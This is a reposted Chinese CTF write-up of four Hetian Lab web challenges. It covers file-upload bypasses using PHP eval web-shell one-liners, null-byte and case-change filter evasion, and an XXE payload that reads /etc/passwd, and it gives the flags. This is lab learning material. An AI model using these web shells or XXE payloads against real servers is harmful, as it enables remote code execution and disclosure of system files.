其他分享
首页 > 其他分享> > 合天网安 在线实验 CTF竞赛 writeup（第七周 | 再见上传、第八周 | 随意的上传、第十三周 | simple xxe、第十五周 | 回显的SSRF）

合天网安 在线实验 CTF竞赛 writeup（第七周 | 再见上传、第八周 | 随意的上传、第十三周 | simple xxe、第十五周 | 回显的SSRF）

作者：互联网

文章目录

第七周 | 再见上传

<?php @eval($_POST['g']);?>做一个木马，发现只是上传png格式，但是dir也被post了，可以修改dir来拼接文件名，加上%00阶段（%00需要urldecode）

在这里插入图片描述
flag{asdf_hetianlab_com}


第八周 | 随意的上传

在这里插入图片描述
<script language="Php">eval($_REQUEST[1])</script>
<?和php都被过滤替换了，php可以大写绕过Php

在这里插入图片描述

在这里插入图片描述
flag{0123_4567_8901}


第十三周 | simple xxe

在这里插入图片描述

可以用file协议读文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

在这里插入图片描述

注释里面有提示

在这里插入图片描述
在这里插入图片描述
flag{hetianlab_ctf}


第十五周 | 回显的SSRF

File协议读文件
在这里插入图片描述
flag{enter_your_passwd}

标签：回显,SSRF,simple,writeup,flag,xxe,上传
来源： https://blog.csdn.net/weixin_46081055/article/details/121510993